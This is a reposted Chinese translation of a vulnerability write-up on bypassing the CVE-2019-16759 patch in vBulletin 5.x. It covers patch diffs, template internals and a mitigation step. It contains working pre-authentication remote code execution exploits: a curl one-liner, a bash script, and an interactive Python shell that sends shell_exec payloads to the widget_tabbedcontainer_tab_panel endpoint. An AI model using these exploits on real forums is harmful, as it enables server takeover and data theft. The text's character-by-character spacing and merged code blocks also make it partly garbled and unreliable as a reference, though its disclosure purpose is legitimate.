搜索

[28509] 2020-08-18_利用vBulletin漏洞：“补丁失败的故事”

文档创建者：s7ckTeam
浏览次数：66
最后更新：2025-01-19
2020-08-18_利用vBulletin漏洞：“补丁失败的故事” 利 用 v B u l l e t i n 漏 洞 ： “ 补 丁 失 败 的 故 事 ” O t s 安 全   2 0 2 0 - 0 8 - 1 8 2 0 1 9 年 9 月 2 3 日 ， 一 位 未 公 开 的 研 究 人 员 发 布 了 一 个 漏 洞 ， 该 漏 洞 允 许 在 v B u l l e t i n   5 . 0 至 5 . 4 中 执 行 P H P 远 程 代 码 。 该 漏 洞 （ C V E - 2 0 1 9 - 1 6 7 5 9 ） 因 其 简 单 性 而 被 流 行 的 漏 洞 代 理 标 记 为 “ 漏 洞 门 ”   ， 并 以 9 . 8 的 C V S S   3 . x 评 分 标 记 为 严 重 等 级 。 今 天 ， 我 们 将 讨 论 为 该 漏 洞 提 供 的 修 补 程 序 不 足 以 阻 止 漏 洞 利 用 ， 展 示 如 何 绕 过 所 产 生 的 修 补 程 序 ， 以 及 释 放 一 种 b a s h 单 行 代 码 以 在 最 新 的 v B u l l e t i n 软 件 中 远 程 执 行 代 码 。 C V E - 2 0 1 9 - 1 6 7 5 9 上 面 提 到 的 漏 洞 后 来 被 正 式 标 记 为 “   C V E - 2 0 1 9 - 1 6 7 5 9 ” ， 并 于 2 0 1 9 年 9 月 2 5 日 发 布 了 补 丁 。 尽 管 该 补 丁 在 不 到 3 天 的 时 间 内 提 供 了 ， 但 该 补 丁 当 时 似 乎 可 以 修 复 未 命 名 查 找 器 提 供 的 概 念 漏 洞 利 用 。 补 丁 程 序 由 两 组 补 丁 程 序 中 提 供 的 三 个 主 要 更 改 组 成 ， 下 面 显 示 了 第 一 组 。 添 加 了 上 述 功 能 ， 但 不 幸 的 是 必 须 从 代 码 中 获 得 ， 而 不 是 直 接 从 两 个 编 码 基 数 之 间 的 差 异 中 获 得 。 这 是 因 为 v B u l l e t i n 在 发 布 修 补 程 序 后 未 提 供 其 软 件 的 较 旧 的 不 安 全 版 本 。 因 此 ， 以 上 代 码 直 接 从 5 . 5 . 4 补 丁 程 序 级 别 2 中 提 取 。 上 面 的 “   c l e a n R e g i s t e r e d ” 功 能 是 对 该 漏 洞 的 第 一 个 修 复 程 序 ， 它 只 是 简 单 地 遍 历 不 允 许 的 “ 注 册 变 量 ” 列 表 ， 并 在 找 到 时 删 除 其 内 容 。 添 加 此 列 表 后 ， 该 列 表 仅 包 含 单 个 变 量 的 名 称 ， 该 变 量 包 含 要 在 已 发 布 漏 洞 利 用 程 序 中 执 行 的 p h p 代 码 。 在 该 软 件 的 下 一 版 本 （ v B u l l e t i n   5 . 5 . 5 ） 中 ， 添 加 了 以 下 内 容 ， 以 进 一 步 防 止 w i d g e t _ r e n d e r i n g 模 板 代 码 将 来 出 现 问 题 。                   / * *                     *             R e m o v e   a n y   p r o b l e m a t i c   v a l u e s   f r o m   t h e   t e m p l a t e                     *             v a r i a b l e   a r r a y s   b e f o r e   r e n d e r i n g                     * /                   / / f o r   n o w   d o n ' t   p a s s   t h e   v a l u e s   t h r o u g h .     T h e s e   a r r a y s   a r e   p o t e n t i a l l y   l a r g e                   / / a n d   w e   d o n ' t   w a n t   t o   m a k e   u n n e c e s a r y   c o p i e s .     T h e   a l t e r n a t i v e   i s   t o   p a s s   b y                   / / r e f e r e n c e   w h i c h   c a u s e s   i t ' s   o w n   h e a d a c h e s .     I t ' s   a n   i n t e r n a l   f u n c t i o n   a n d   t h e                   / / r e l e v a n t   a r r a y s   a r e   a l l   c l a s s   v a r i a b l e s .                   p r i v a t e   f u n c t i o n   c l e a n R e g i s t e r e d ( ) {                                         $ d i s a l l o w e d N a m e s   =   a r r a y ( ' w i d g e t C o n f i g ' ) ;                                   f o r e a c h ( $ d i s a l l o w e d N a m e s   A S   $ n a m e )                                   {                                                         u n s e t ( $ t h i s - > r e g i s t e r e d [ $ n a m e ] ) ;                                                   u n s e t ( s e l f : : $ g l o b a l R e g i s t e r e d [ $ n a m e ] ) ;                                   }                   } d i f f   - u r   v B u l l e t i n / v B u l l e t i n / v b 5 _ c o n n e c t / v B u l l e t i n - 5 . 5 . 4 _ P a t c h _ L e v e l _ 2 / u p l o a d / i n c l u d e s / v b 5 / f r o n t e n d / a p p l i c a t i o n l i g h t . p h p   v B u l l e t i n / v B u l l e t i n / v b 5 _ c o n n e c t / v B u l l e t i n - 5 . 5 . 5 / u p l o a d / i n c l u d e s / v b 5 / f r o n t e n d / a p p l i c a t i o n l i g h t . p h p - - -   v B u l l e t i n / v B u l l e t i n / v b 5 _ c o n n e c t / v B u l l e t i n - 5 . 5 . 4 _ P a t c h _ L e v e l _ 2 / u p l o a d / i n c l u d e s / v b 5 / f r o n t e n d / a p p l i c a t i o n l i g h t . p h p     2 0 2 0 - 0 8 - 0 8   0 6 : 4 0 : 3 1 . 3 5 6 9 1 8 9 9 4   - 0 5 0 0 + + +   v B u l l e t i n / v B u l l e t i n / v b 5 _ c o n n e c t / v B u l l e t i n - 5 . 5 . 5 / u p l o a d / i n c l u d e s / v b 5 / f r o n t e n d / a p p l i c a t i o n l i g h t . p h p     2 0 2 0 - 0 8 - 0 8   0 6 : 4 0 : 4 0 . 5 7 7 5 1 7 0 1 4   - 0 5 0 0 @ @   - 2 8 6 , 2 0   + 2 8 6 , 3 2   @ @               t h r o w   n e w   v B 5 _ E x c e p t i o n _ A p i ( ' a j a x ' ,   ' r e n d e r ' ,   a r r a y ( ) ,   ' i n v a l i d _ r e q u e s t ' ) ;           }   -         $ t h i s - > r o u t e r   =   n e w   v B 5 _ F r o n t e n d _ R o u t i n g ( ) ; -         $ t h i s - > r o u t e r - > s e t R o u t e I n f o ( a r r a y ( -             ' a c t i o n '                     = >   ' a c t i o n R e n d e r ' , -             ' a r g u m e n t s '               = >   $ s e r v e r D a t a , -             ' t e m p l a t e '                 = >   $ r o u t e I n f o [ 2 ] , -             / /   t h i s   u s e   o f   $ _ G E T   a p p e a r s   t o   b e   f i n e , -             / /   s i n c e   i t ' s   s e t t i n g   t h e   r o u t e   q u e r y   p a r a m s -             / /   n o t   s e n d i n g   t h e   d a t a   t o   t h e   t e m p l a t e -             / /   r e n d e r -             ' q u e r y P a r a m e t e r s '   = >   $ _ G E T , -         ) ) ; -         A p i _ I n t e r f a c e A b s t r a c t : : s e t L i g h t ( ) ; +         $ t e m p l a t e N a m e   =   $ r o u t e I n f o [ 2 ] ; +         i f   ( $ t e m p l a t e N a m e   = =   ' w i d g e t _ p h p ' ) +         { +             $ r e s u l t   =   a r r a y ( +                 ' t e m p l a t e '   = >   ' ' , +                 ' c s s _ l i n k s '   = >   a r r a y ( ) , +             ) ; +         } +         e l s e +         { +             $ t h i s - > r o u t e r   =   n e w   v B 5 _ F r o n t e n d _ R o u t i n g ( ) ; +             $ t h i s - > r o u t e r - > s e t R o u t e I n f o ( a r r a y ( +                 ' a c t i o n '                     = >   ' a c t i o n R e n d e r ' , +                 ' a r g u m e n t s '               = >   $ s e r v e r D a t a , +                 ' t e m p l a t e '                 = >   $ t e m p l a t e N a m e , +                 / /   t h i s   u s e   o f   $ _ G E T   a p p e a r s   t o   b e   f i n e , +                 / /   s i n c e   i t ' s   s e t t i n g   t h e   r o u t e   q u e r y   p a r a m s +                 / /   n o t   s e n d i n g   t h e   d a t a   t o   t h e   t e m p l a t e +                 / /   r e n d e r +                 ' q u e r y P a r a m e t e r s '   = >   $ _ G E T , +             ) ) ; +             A p i _ I n t e r f a c e A b s t r a c t : : s e t L i g h t ( ) ; +             $ r e s u l t   =   v B 5 _ T e m p l a t e : : s t a t i c R e n d e r A j a x ( $ t e m p l a t e N a m e ,   $ s e r v e r D a t a ) ;
补 丁 程 序 的 这 一 部 分 创 建 了 一 个 i f 语 句 ， 如 果 将 “   w i d g e t _ p h p ” 模 板 列 为 路 由 的 最 后 一 部 分 ， 则 该 语 句 将 返 回 空 模 板 或 c s s 数 据 。 这 两 个 更 改 阻 止 了 P o C 在 其 释 放 状 态 下 运 行 。 第 三 个 更 改 可 以 在 v B u l l e t i n   5 . 5 . 5 更 新 差 异 的 第 二 部 分 中 找 到 。 添 加 此 部 分 作 为 冗 余 层 ， 以 尝 试 防 止 任 何 非 “   w i d g e t _ p h p ” 模 板 加 载 评 估 代 码 。 基 于 代 码 中 的 注 释 ， 这 是 一 种 尝 试 ， 目 的 是 防 止 用 户 修 改 模 板 以 错 误 地 调 用 ' e v a l P h p ' ， 而 无 需 从 嵌 入 式 p h p 小 部 件 中 这 样 做 。 未 来 的 问 题 未 来 的 问 题 由 于 v B u l l e t i n 模 板 系 统 的 结 构 方 式 ， 出 现 了 上 述 问 题 。 具 体 来 说 ， 模 板 实 际 上 不 是 用 P H P 编 写 的 ， 而 是 以 首 先 由 模 板 引 擎 处 理 的 语 言 编 写 的 ， 然 后 以 P H P 代 码 字 符 串 的 形 式 输 出 ， 然 后 在 “ 渲 染 ” 过 程 中 通 过 e v a l （ ） 运 行 。 模 板 也 不 是 独 立 的 项 目 ， 而 是 可 以 嵌 套 在 其 他 模 板 中 ， 因 为 一 个 模 板 可 以 嵌 入 许 多 子 模 板 。 例 如 ， 采 用 以 下 模 板 。 +         }   -         $ t h i s - > s e n d A s J s o n ( v B 5 _ T e m p l a t e : : s t a t i c R e n d e r A j a x ( $ r o u t e I n f o [ 2 ] ,   $ s e r v e r D a t a ) ) ; +         $ t h i s - > s e n d A s J s o n ( $ r e s u l t ) ;       }         / * *       d i f f   - u r   v B u l l e t i n / v B u l l e t i n / v b 5 _ c o n n e c t / v B u l l e t i n - 5 . 5 . 4 _ P a t c h _ L e v e l _ 2 / u p l o a d / i n c l u d e s / v b 5 / t e m p l a t e / r u n t i m e . p h p   v B u l l e t i n / v B u l l e t i n / v b 5 _ c o n n e c t / v B u l l e t i n - 5 . 5 . 5 / u p l o a d / i n c l u d e s / v b 5 / t e m p l a t e / r u n t i m e . p h p - - -   v B u l l e t i n / v B u l l e t i n / v b 5 _ c o n n e c t / v B u l l e t i n - 5 . 5 . 4 _ P a t c h _ L e v e l _ 2 / u p l o a d / i n c l u d e s / v b 5 / t e m p l a t e / r u n t i m e . p h p     2 0 2 0 - 0 8 - 0 8   0 6 : 4 0 : 3 1 . 2 7 6 9 1 3 7 9 7   - 0 5 0 0 + + +   v B u l l e t i n / v B u l l e t i n / v b 5 _ c o n n e c t / v B u l l e t i n - 5 . 5 . 5 / u p l o a d / i n c l u d e s / v b 5 / t e m p l a t e / r u n t i m e . p h p     2 0 2 0 - 0 8 - 0 8   0 6 : 4 0 : 4 0 . 4 9 3 5 1 1 5 7 5   - 0 5 0 0 @ @   - 1 2 , 6   + 1 2 , 2 6   @ @     c l a s s   v B 5 _ T e m p l a t e _ R u n t i m e { +     / / T h i s   i s   i n t e n d e d   t o   a l l o w   t h e   r u n t i m e   t o   k n o w   t h a t   t e m p l a t e   i t   i s   r e n d e r i n g . +     / / I t ' s   u g l y   a n d   s h o u l d n ' t   b e   u s e d   l i g h t l y ,   b u t   m a k i n g   s o m e   f e a t u r e s   w i d e l y +     / / a v a i l a b l e   t o   a l l   t e m p l a t e s   i s   u g l i e r . +     p r i v a t e   s t a t i c   $ t e m p l a t e s   =   a r r a y ( ) ; + +     p u b l i c   s t a t i c   f u n c t i o n   s t a r t T e m p l a t e ( $ t e m p l a t e ) +     { +         a r r a y _ p u s h ( s e l f : : $ t e m p l a t e s ,   $ t e m p l a t e ) ; +     } + +     p u b l i c   s t a t i c   f u n c t i o n   e n d T e m p l a t e ( ) +     { +         a r r a y _ p o p ( s e l f : : $ t e m p l a t e s ) ; +     } + +     p r i v a t e   s t a t i c   f u n c t i o n   c u r r e n t T e m p l a t e ( ) +     { +         r e t u r n   e n d ( s e l f : : $ t e m p l a t e s ) ; +     } +       p u b l i c   s t a t i c   $ u n i t s   =   a r r a y (           ' % ' ,           ' p x ' , @ @   - 1 9 4 4 , 6   + 1 9 6 4 , 2 1   @ @               r e t u r n   ' < d i v   s t y l e = " b o r d e r : 1 p x   s o l i d   r e d ; p a d d i n g : 1 0 p x ; m a r g i n : 1 0 p x ; " > '   .   h t m l s p e c i a l c h a r s ( $ t i m e r N a m e )   .   ' :   '   .   $ e l a p s e d   .   ' < / d i v > ' ;           }       } + +     p u b l i c   s t a t i c   f u n c t i o n   e v a l P h p ( $ c o d e ) +     { +         / / o n l y   a l l o w   t h e   P H P   w i d g e t   t e m p l a t e   t o   d o   t h i s .     T h i s   p r e v e n t s   a   m a l i c i o u s   u s e r +         / / f r o m   h a c k i n g   s o m e t h i n g   i n t o   a   d i f f e r e n t   t e m p l a t e . +         i f   ( s e l f : : c u r r e n t T e m p l a t e ( )   ! =   ' w i d g e t _ p h p ' ) +         { +             r e t u r n   ' ' ; +         } +         o b _ s t a r t ( ) ; +         e v a l ( $ c o d e ) ; +         $ o u t p u t   =   o b _ g e t _ c o n t e n t s ( ) ; +         o b _ e n d _ c l e a n ( ) ; +         r e t u r n   $ o u t p u t ; +     }   }         < t e m p l a t e   n a m e = " w i d g e t _ p h p "   t e m p l a t e t y p e = " t e m p l a t e "   d a t e = " 1 5 6 9 4 5 3 6 2 1 "   u s e r n a m e = " v B u l l e t i n "   v e r s i o n = " 5 . 5 . 5   A l p h a   4 " > < ! [ C D A T A [ < v b : i f   c o n d i t i o n = " e m p t y ( $ w i d g e t C o n f i g )   A N D   ! e m p t y ( $ w i d g e t i n s t a n c e i d ) "     { v b : d a t a   w i d g e t C o n f i g ,   w i d g e t ,   f e t c h C o n f i g ,   { v b : r a w   w i d g e t i n s t a n c e i d } } < / v b : i f >   < v b : i f   c o n d i t i o n = " ! e m p t y ( $ w i d g e t C o n f i g ) " >     { v b : s e t   w i d g e t i d ,   { v b : r a w   w i d g e t C o n f i g . w i d g e t i d } }     { v b : s e t   w i d g e t i n s t a n c e i d ,   { v b : r a w   w i d g e t C o n f i g . w i d g e t i n s t a n c e i d } } < / v b : i f >   < d i v   c l a s s = " b - m o d u l e { v b : v a r   w i d g e t C o n f i g . s h o w _ a t _ b r e a k p o i n t s _ c s s _ c l a s s e s }   c a n v a s - w i d g e t   d e f a u l t - w i d g e t   c u s t o m - h t m l - w i d g e t "   i d = " w i d g e t _ { v b : r a w   w i d g e t i n s t a n c e i d } "   d a t a - w i d g e t - i d =       { v b : t e m p l a t e   m o d u l e _ t i t l e ,         w i d g e t C o n f i g = { v b : r a w   w i d g e t C o n f i g } ,         s h o w _ t i t l e _ d i v i d e r = 1 ,
该 模 板 将 呈 现 为 以 下 P H P 代 码 。 然 后 ， 在 呈 现 之 后 ， 当 代 码 稍 后 通 过 e v a l 流 程 推 送 时 ， 其 子 模 板 的 其 他 部 分 将 被 加 载 并 同 时 运 行 e v a l 。 这 种 类 型 的 系 统 对 于 未 经 训 练 的 人 来 说 似 乎 是 无 害 的 ， 但 是 这 种 方 法 带 来 了 许 多 问 题 ， 而 不 仅 仅 是 评 估 调 用 的 不 安 全 使 用 。 无 论 如 何 ， 这 有 几 种 方 法 可 能 会 失 败 。 对 输 出 变 量 的 任 何 未 经 过 滤 的 修 改 将 打 开 该 代 码 以 供 其 他 代 码 执 行 。 对 于 可 能 创 建 非 转 义 P H P 的 情 况 ， 所 有 模 板 代 码 都 需 要 进 行 常 量 过 滤 。 X S S 过 滤 梦 n i g h t 包 含 的 子 代 码 将 可 以 访 问 父 声 明 的 变 量 。 我 无 法 想 到 许 多 情 况 下 这 将 是 最 佳 方 法 。 但 是 ， 为 了 使 分 析 保 持 重 点 ， 我 将 重 点 讨 论 导 致 绕 过 的 问 题 。 绕 过 绕 过 C V E - 2 0 1 9 - 1 6 7 5 9 上 面 的 前 一 节 中 提 到 的 补 丁 代 码 可 能 看 起 来 很 详 尽 ， 但 是 这 种 方 法 实 际 上 是 短 视 的 。 具 体 地 说 ， 该 修 补 程 序 在 遇 到 用 户 控 制 的 子 模 板 时 会 遇 到 问 题 ， 因 为 将 检 查 父 模 板 以 验 证 路 由 字 符 串 是 否 未 以 w i d g e t _ p h p 路 由 结 尾 。 但 是 ， 由 于 渲 染 过 程 中 的 代 码 会 在 模 板 执 行 之 前 清 除 w i d g e t C o n f i g 值 ， 因 此 仍 然 无 法 在 w i d g e t C o n f i g 值 中 提 供 有 效 负 载 。 由 于 以 下 模 板 中 显 示 了 一 种 幸 运 的 解 决 方 案 ， 因 此 为 我 们 解 决 了 此 问 题 。         s h o w _ t i t l e _ d i v i d e r = 1 ,         c a n _ u s e _ s i t e b u i l d e r = { v b : r a w   u s e r . c a n _ u s e _ s i t e b u i l d e r } }       < d i v   c l a s s = " w i d g e t - c o n t e n t " >         < v b : i f   c o n d i t i o n = " ! e m p t y ( $ w i d g e t C o n f i g [ ' c o d e ' ] )   A N D   ! $ v b o p t i o n s [ ' d i s a b l e _ p h p _ r e n d e r i n g ' ] " >             < v b : c o m m e n t >                 D o   n o t   e v a l   a n y t h i n g   o t h e r   t h a n   t h e   w i d g e t C o n f i g   c o d e   - -   a n y t h i n g   e l s e   c o u l d   p o t e n t i a l l y   c o m e                 f r o m   a   m a l i c i o u s   u s e r .     D o   n o t   u s e   p h p e v a l   o u t s i d e   o f   t h i s   t e m p l a t e .     E v e r .             < / v b : c o m m e n t >             { v b : p h p e v a l   { v b : r a w   w i d g e t C o n f i g . c o d e } }         < v b : e l s e   / >             < v b : i f   c o n d i t i o n = " $ u s e r [ ' c a n _ u s e _ s i t e b u i l d e r ' ] " >                 < s p a n   c l a s s = " n o t e " > { v b : p h r a s e   c l i c k _ e d i t _ t o _ c o n f i g _ m o d u l e } < / s p a n >             < / v b : i f >         < / v b : i f >     < / d i v > < / d i v > ] ] > < / t e m p l a t e > $ f i n a l _ r e n d e r e d   =   ' '   .   ' ' ;   i f   ( e m p t y ( $ w i d g e t C o n f i g )   A N D   ! e m p t y ( $ w i d g e t i n s t a n c e i d ) )   {     $ f i n a l _ r e n d e r e d   . =   ' r n t '   .   ' ' ;       $ w i d g e t C o n f i g   =   v B 5 _ T e m p l a t e _ R u n t i m e : : p a r s e D a t a ( ' w i d g e t ' ,   ' f e t c h C o n f i g ' ,   $ w i d g e t i n s t a n c e i d ) ;     $ f i n a l _ r e n d e r e d   . =   ' '   .   ' r n ' ; n t t t t }   e l s e   {     $ f i n a l _ r e n d e r e d   . =   ' ' ; } $ f i n a l _ r e n d e r e d   . =   ' '   .   ' r n r n '   .   ' ' ; i f   ( ! e m p t y ( $ w i d g e t C o n f i g ) )   {     $ f i n a l _ r e n d e r e d   . =   ' r n t '   .   ' ' ;     $ w i d g e t i d   =   $ w i d g e t C o n f i g [ ' w i d g e t i d ' ] ;     $ f i n a l _ r e n d e r e d   . =   ' '   .   ' r n t '   .   ' ' ;     $ w i d g e t i n s t a n c e i d   =   $ w i d g e t C o n f i g [ ' w i d g e t i n s t a n c e i d ' ] ;     $ f i n a l _ r e n d e r e d   . =   ' '   .   ' r n ' ; n t t t t }   e l s e   {     $ f i n a l _ r e n d e r e d   . =   ' ' ; } $ f i n a l _ r e n d e r e d   . =   ' '   .   ' r n r n < d i v   c l a s s = " b - m o d u l e '   .   v B 5 _ T e m p l a t e _ R u n t i m e : : v B V a r ( $ w i d g e t C o n f i g [ ' s h o w _ a t _ b r e a k p o i n t s _ c s s _ c l a s s e s ' ] )   .   '   c a n v a s - w i d g e t   d e f a u l t - w i d g e t   c u s t o m - h t m l - w i d g e t "   i d = " w i d g e t _ '   i f   ( ! e m p t y ( $ w i d g e t C o n f i g [ ' c o d e ' ] )   A N D   ! v B : : g e t D a t a s t o r e ( ) - > g e t O p t i o n ( ' d i s a b l e _ p h p _ r e n d e r i n g ' ) )   {     $ f i n a l _ r e n d e r e d   . =   ' r n t t t '   .   ' '   .   ' r n t t t '   .   v B 5 _ T e m p l a t e _ R u n t i m e : : e v a l P h p ( ' '   .   $ w i d g e t C o n f i g [ ' c o d e ' ]   .   ' ' )   .   ' r n t t ' ; }   e l s e   {     $ f i n a l _ r e n d e r e d   . =   ' r n t t t '   .   ' ' ;     i f   ( $ u s e r [ ' c a n _ u s e _ s i t e b u i l d e r ' ] )   {         $ f i n a l _ r e n d e r e d   . =   ' r n t t t t < s p a n   c l a s s = " n o t e " > '   .   v B 5 _ T e m p l a t e _ R u n t i m e : : p a r s e P h r a s e ( " c l i c k _ e d i t _ t o _ c o n f i g _ m o d u l e " )   .   ' < / s p a n > r n t t t ' ;     }   e l s e   {         $ f i n a l _ r e n d e r e d   . =   ' ' ;     }     $ f i n a l _ r e n d e r e d   . =   ' '   .   ' r n t t ' ; } $ f i n a l _ r e n d e r e d   . =   ' '   .   ' r n t < / d i v > r n < / d i v > ' ;         < t e m p l a t e   n a m e = " w i d g e t _ t a b b e d c o n t a i n e r _ t a b _ p a n e l "   t e m p l a t e t y p e = " t e m p l a t e "   d a t e = " 1 5 3 2 1 3 0 4 4 9 "   u s e r n a m e = " v B u l l e t i n "   v e r s i o n = " 5 . 4 . 4   A l p h a   2 " > < ! [ C D A T A [ { v b : s e t   p a n e l _ i d ,   { v b : c o n c a t   { v b : < d i v   i d = " { v b : v a r   p a n e l _ i d } "   c l a s s = " h - c l e a r f i x   j s - s h o w - o n - t a b s - c r e a t e   h - h i d e " >     < v b : c o m m e n t >     -   { v b : v a r   p a n e l _ i d }       < v b : e a c h   f r o m = " s u b W i d g e t s "   v a l u e = " s u b W i d g e t " >     & n b s p ; & n b s p ; - -   { v b : r a w   s u b W i d g e t . t e m p l a t e }     < / v b : e a c h >     < / v b : c o m m e n t >       < v b : e a c h   f r o m = " s u b W i d g e t s "   v a l u e = " s u b W i d g e t " >         { v b : t e m p l a t e   { v b : r a w   s u b W i d g e t . t e m p l a t e } ,               w i d g e t C o n f i g = { v b : r a w   s u b W i d g e t . c o n f i g } ,               w i d g e t i n s t a n c e i d = { v b : r a w   s u b W i d g e t . w i d g e t i n s t a n c e i d } ,             w i d g e t t i t l e = { v b : r a w   s u b W i d g e t . t i t l e } ,  
上 面 显 示 的 模 板 “   w i d g e t _ t a b b e d c o n t a i n e r _ t a b _ p a n e l ” 由 于 两 个 关 键 特 性 ， 是 绕 过 以 前 的 C V E - 2 0 1 9 - 1 6 7 5 9 补 丁 的 完 美 助 手 。 1 .   模 板 能 够 加 载 用 户 控 制 的 子 模 板 。 2 .   该 模 板 通 过 从 单 独 命 名 的 值 中 获 取 一 个 值 并 将 其 放 入 名 为 “   w i d g e t C o n f i g ” 的 变 量 中 来 加 载 子 模 板 。 “   w i d g e t _ t a b b e d c o n t a i n e r _ t a b _ p a n e l ” 模 板 的 这 两 个 特 征 使 我 们 能 够 有 效 地 绕 过 以 前 所 做 的 所 有 过 滤 ， 以 防 止 C V E - 2 0 1 9 - 1 6 7 5 9 被 利 用 。 P o C 由 于 漏 洞 的 简 单 性 ， 创 建 一 个 命 令 行 命 令 行 利 用 程 序 非 常 简 单 ， 如 下 所 示 。 充 分 利 用 充 分 利 用 以 下 是 用 多 种 不 同 语 言 （ 包 括 B a s h ， P y t h o n 和 R u b y ） 编 写 的 一 些 完 整 漏 洞 利 用 有 效 载 荷 的 列 表 。 重 击 漏 洞 重 击 漏 洞 P y t h o n 漏 洞 利 用 漏 洞 利 用 M e t a s p l o i t 模 块 模 块 我 们 也 在 将 公 共 m e t a s p l o i t 模 块 推 送 到 m e t a s p l o i t - f r a m e w o r k 项 目 中 ， 有 关 拉 取 请 求 的 信 息 ， 请 参 考 此 处 ： h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / p u l l / 1 3 9 7 0 修 复 措 施 修 复 措 施 此 修 复 将 禁 用 您 论 坛 中 的 P H P 小 部 件 ， 并 可 能 破 坏 某 些 功 能 ， 但 在 v B u l l e t i n 发 布 补 丁 之 前 ， 将 使 您 免 受 攻 击 。 1 .   转 到 v B u l l e t i n 管 理 员 控 制 面 板 。 2 .   单 击 左 侧 菜 单 中 的 “ 设 置 ” ， 然 后 单 击 下 拉 菜 单 中 的 “ 选 项 ” 。 3 .   选 择 “ 常 规 设 置 ” ， 然 后 单 击 “ 编 辑 设 置 ” 4 .   查 找 “ 禁 用 P H P ， 静 态 H T M L 和 广 告 模 块 呈 现 ” ， 设 置 为 “ 是 ” 5 .   点 击 “ 保 存 ”             w i d g e t t i t l e = { v b : r a w   s u b W i d g e t . t i t l e } ,               t a b b e d C o n t a i n e r S u b M o d u l e s = { v b : r a w   s u b W i d g e t . t a b b e d C o n t a i n e r S u b M o d u l e s } ,             p r o d u c t = { v b : r a w   s u b W i d g e t . p r o d u c t }         }     < / v b : e a c h >     < / d i v > ] ] > < / t e m p l a t e > c u r l   - s   h t t p : / / E X A M P L E . C O M / a j a x / r e n d e r / w i d g e t _ t a b b e d c o n t a i n e r _ t a b _ p a n e l   - d   ' s u b W i d g e t s [ 0 ] [ t e m p l a t e ] = w i d g e t _ p h p & s u b W i d g e t s [ 0 ] [ c o n f i g ] [ c o d e ] = p h p i n f o ( ) ; ' # ! / b i n / b a s h # #   v B u l l e t i n   ( w i d g e t _ t a b b e d c o n t a i n e r _ t a b _ p a n e l )   5 . x   0 d a y   b y   @ Z e n o f e x # < b r > #   U s a g e   . / e x p l o i t   < s i t e >   < s h e l l - c o m m a n d > < b r > #   U r l e n c o d e   c m d C M D = ` e c h o   $ 2 | p e r l   - M U R I : : E s c a p e   - n e   ' c h o m p ; p r i n t   u r i _ e s c a p e ( $ _ ) , " n " ' `   #   S e n d   r e q u e s t c u r l   - s   $ 1 / a j a x / r e n d e r / w i d g e t _ t a b b e d c o n t a i n e r _ t a b _ p a n e l   - d   ' s u b W i d g e t s [ 0 ] [ t e m p l a t e ] = w i d g e t _ p h p & s u b W i d g e t s [ 0 ] [ c o n f i g ] [ c o d e ] = e c h o % 2 0 s h e l l _ e x e c ( " ' + $ C M D + ' " ) ; e x i t ; ' # ! / u s r / b i n / e n v   p y t h o n 3 #   v B u l l e t i n   5 . x   p r e - a u t h   w i d g e t _ t a b b e d C o n t a i n e r   R C E   e x p l o i t   b y   @ z e n o f e x   i m p o r t   a r g p a r s e i m p o r t   r e q u e s t s i m p o r t   s y s   d e f   r u n _ e x p l o i t ( v b _ l o c ,   s h e l l _ c m d ) :         p o s t _ d a t a   =   { ' s u b W i d g e t s [ 0 ] [ t e m p l a t e ] '   :   ' w i d g e t _ p h p ' ,                                 ' s u b W i d g e t s [ 0 ] [ c o n f i g ] [ c o d e ] '   :   " e c h o   s h e l l _ e x e c ( ' % s ' ) ;   e x i t ; "   %   s h e l l _ c m d                                 }         r   =   r e q u e s t s . p o s t ( ' % s / a j a x / r e n d e r / w i d g e t _ t a b b e d c o n t a i n e r _ t a b _ p a n e l '   %   v b _ l o c ,   p o s t _ d a t a )         r e t u r n   r . t e x t   a p   =   a r g p a r s e . A r g u m e n t P a r s e r ( d e s c r i p t i o n = ' v B u l l e t i n   5 . x   A j a x   W i d g e t   T e m p l a t e   R C E ' ) a p . a d d _ a r g u m e n t ( ' - l ' ,   ' - - l o c a t i o n ' ,   r e q u i r e d = T r u e ,   h e l p = ' W e b   a d d r e s s   t o   r o o t   o f   v B 5   i n s t a l l . ' ) A R G S   =   a p . p a r s e _ a r g s ( )   w h i l e   T r u e :         t r y :                 c m d   =   i n p u t ( " v B u l l e t i n 5 $   " )                 p r i n t ( r u n _ e x p l o i t ( A R G S . l o c a t i o n ,   c m d ) )         e x c e p t   K e y b o a r d I n t e r r u p t :                 s y s . e x i t ( " n C l o s i n g   s h e l l . . . " )         e x c e p t   E x c e p t i o n   a s   e :                 s y s . e x i t ( s t r ( e ) )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理